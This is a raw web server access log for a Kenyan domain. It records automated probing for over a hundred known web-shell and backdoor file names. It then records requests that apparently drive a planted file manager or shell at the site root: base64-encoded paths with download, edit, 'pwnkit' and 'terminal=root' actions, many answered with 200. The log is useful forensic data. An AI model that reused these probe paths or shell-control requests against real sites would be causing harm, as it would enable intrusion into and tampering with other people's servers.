homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:20 -0700] "GET /wdf.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:20 -0700] "GET //2.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:22 -0700] "GET /mga.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:23 -0700] "GET /maxro.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:23 -0700] "GET /pass2.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:24 -0700] "GET /wsvvs.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:26 -0700] "GET //3.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:29 -0700] "GET //edit.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:33 -0700] "GET /ioxi-o.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:34 -0700] "GET /wp-content/admin.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:36 -0700] "GET /66.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:37 -0700] "GET //wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:37 -0700] "GET /gifclass.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:37 -0700] "GET /wp-includes/assets/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:38 -0700] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:38 -0700] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:39 -0700] "GET //assets/css/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:40 -0700] "GET /sc.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:40 -0700] "GET /xmlrpc.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:41 -0700] "GET /ol.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:42 -0700] "GET //f6.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:42 -0700] "GET //inputs.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:43 -0700] "GET /style.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:45 -0700] "GET /bgymj.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:47 -0700] "GET //aa.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:47 -0700] "GET //1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:48 -0700] "GET //sc.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:51 -0700] "GET //av.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:52 -0700] "GET /file.php? HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:53 -0700] "GET /file59.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:54 -0700] "GET /bless.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:55 -0700] "GET /wp9.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:57 -0700] "GET /wp-act.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:58 -0700] "GET /class-t.api.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:01:59 -0700] "GET /xqq.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:01 -0700] "GET /wp-admin/css/bolt.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:06 -0700] "GET /a.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:08 -0700] "GET /06.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:09 -0700] "GET /plss3.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:10 -0700] "GET /aaa.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:11 -0700] "GET /classwithtostring.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:11 -0700] "GET /wp-content/themes/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:12 -0700] "GET /tinyfilemanager.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:15 -0700] "GET //x.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:17 -0700] "GET /ms.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:18 -0700] "GET //wp-content/plugins/erinyani/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:18 -0700] "GET /wp-update.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:18 -0700] "GET /sbhu.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:20 -0700] "GET /x/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:20 -0700] "GET /wp-blog.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:21 -0700] "GET /test1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:24 -0700] "GET //wp-includes/js/jquery/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:24 -0700] "GET /166.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:25 -0700] "GET //wp-content/admin.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:25 -0700] "GET /ms-edit.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:26 -0700] "GET //adminfuns.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:27 -0700] "GET /goods.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:28 -0700] "GET /ms-edit.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:32 -0700] "GET /222.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:32 -0700] "GET /plugins.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:33 -0700] "GET //cgi-bin/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:34 -0700] "GET //wp-includes/js/dist/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:34 -0700] "GET /ff1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:35 -0700] "GET /fff.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:36 -0700] "GET /wp-content/ HTTP/1.1" 200 - "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:36 -0700] "GET /goat.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:37 -0700] "GET /155.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:40 -0700] "GET /we.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:41 -0700] "GET /alpha.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:44 -0700] "GET /makeasmtp.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:46 -0700] "GET /wp-michan.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:50 -0700] "GET //wp-content/cong.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:51 -0700] "GET /wp-the.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:52 -0700] "GET //wp-includes/css/dist/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:52 -0700] "GET /BDKR28WP.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:53 -0700] "GET //wp-includes/l10n/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:53 -0700] "GET /wp.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:02:56 -0700] "GET //assets/css/index.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:00 -0700] "GET /w4.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:01 -0700] "GET //wp-admin/js/widgets/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:03 -0700] "GET /ok.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:03 -0700] "GET //about.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:04 -0700] "GET /wp-admin/js/fi.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:05 -0700] "GET /fe5.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:06 -0700] "GET /kj.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:07 -0700] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:15 -0700] "GET /av.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:16 -0700] "GET /abcd.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:17 -0700] "GET /init.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:18 -0700] "GET /fi.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:19 -0700] "GET //a1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:20 -0700] "GET /update/f35.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:22 -0700] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:24 -0700] "GET /f35.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:27 -0700] "GET /hi.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:32 -0700] "GET /lb.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:34 -0700] "GET //wp-includes/css/index.php?p= HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:35 -0700] "GET /wp-includes/SimplePie/ HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:35 -0700] "GET /prv8.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:36 -0700] "GET /k.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:39 -0700] "GET /dev.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:41 -0700] "GET /bal.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:42 -0700] "GET /in.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:43 -0700] "GET /gssdd.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:46 -0700] "GET /motu.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:47 -0700] "GET /bs1.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:52 -0700] "GET /bengi.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:57 -0700] "GET /miansha.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:03:59 -0700] "GET //erty.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:04:01 -0700] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:04:03 -0700] "GET /X57.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:04:04 -0700] "GET /axx.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:04:04 -0700] "GET /alfashell.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:04:05 -0700] "GET /re.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:04:06 -0700] "GET /styll.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:04:07 -0700] "GET /flower.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:04:09 -0700] "GET /4h.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:04:13 -0700] "GET /gettest.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:04:13 -0700] "GET /acp.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.215.208.157 - - [06/Mar/2026:09:04:16 -0700] "GET /database.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 49.51.132.100 - - [06/Mar/2026:09:09:03 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.173.175.132 - - [06/Mar/2026:09:14:58 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.91 - - [06/Mar/2026:09:20:58 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.99 - - [06/Mar/2026:09:22:01 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=block-editor.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.197 - - [06/Mar/2026:09:22:02 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=block-editor.php HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.160 - - [06/Mar/2026:09:22:02 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" homs.co.ke 10.38.197.90 43.173.182.15 - - [06/Mar/2026:09:22:11 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" homs.co.ke 10.38.197.90 170.106.143.6 - - [06/Mar/2026:09:23:10 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-snoopy.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 43.173.180.153 - - [06/Mar/2026:09:27:14 -0700] "GET /?act=download&file=class-wp-date-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.5 - - [06/Mar/2026:09:27:14 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBz HTTP/1.1" 200 5578 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.190 - - [06/Mar/2026:09:27:14 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=error_log HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.82 - - [06/Mar/2026:09:27:14 -0700] "GET /?act=download&file=class-wp-navigation-fallback.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.97 - - [06/Mar/2026:09:27:14 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.223 - - [06/Mar/2026:09:27:15 -0700] "GET /?act=download&file=class-wp-date-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-date-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.93 - - [06/Mar/2026:09:27:15 -0700] "GET /?act=download&file=interactivity-api.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ludGVyYWN0aXZpdHktYXBp HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.167 - - [06/Mar/2026:09:27:15 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0&terminal=root HTTP/1.1" 200 7062 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.247 - - [06/Mar/2026:09:27:15 -0700] "GET /?act=download&file=class-wp-navigation-fallback.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-navigation-fallback.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.106 - - [06/Mar/2026:09:27:16 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-script-modules.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.233 - - [06/Mar/2026:09:27:16 -0700] "GET /?act=download&file=interactivity-api.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ludGVyYWN0aXZpdHktYXBp HTTP/1.1" 200 4237 "http://www.homs.co.ke/?act=download&file=interactivity-api.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ludGVyYWN0aXZpdHktYXBp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.70 - - [06/Mar/2026:09:27:17 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-script-modules.php HTTP/1.1" 200 11086 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.16 - - [06/Mar/2026:09:29:13 -0700] "GET /?act=download&file=xdiff.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU= HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.178.213 - - [06/Mar/2026:09:29:13 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ZvbnRz HTTP/1.1" 200 6187 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.222 - - [06/Mar/2026:09:29:13 -0700] "GET /?act=download&file=xdiff.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU= HTTP/1.1" 200 4264 "http://mail.homs.co.ke/?act=download&file=xdiff.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.176.70 - - [06/Mar/2026:09:36:16 -0700] "GET /?act=download&file=class-wp-customize-control.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.21 - - [06/Mar/2026:09:36:17 -0700] "GET /?act=download&file=class-wp-customize-control.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=class-wp-customize-control.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.166.129.247 - - [06/Mar/2026:09:37:02 -0700] "GET 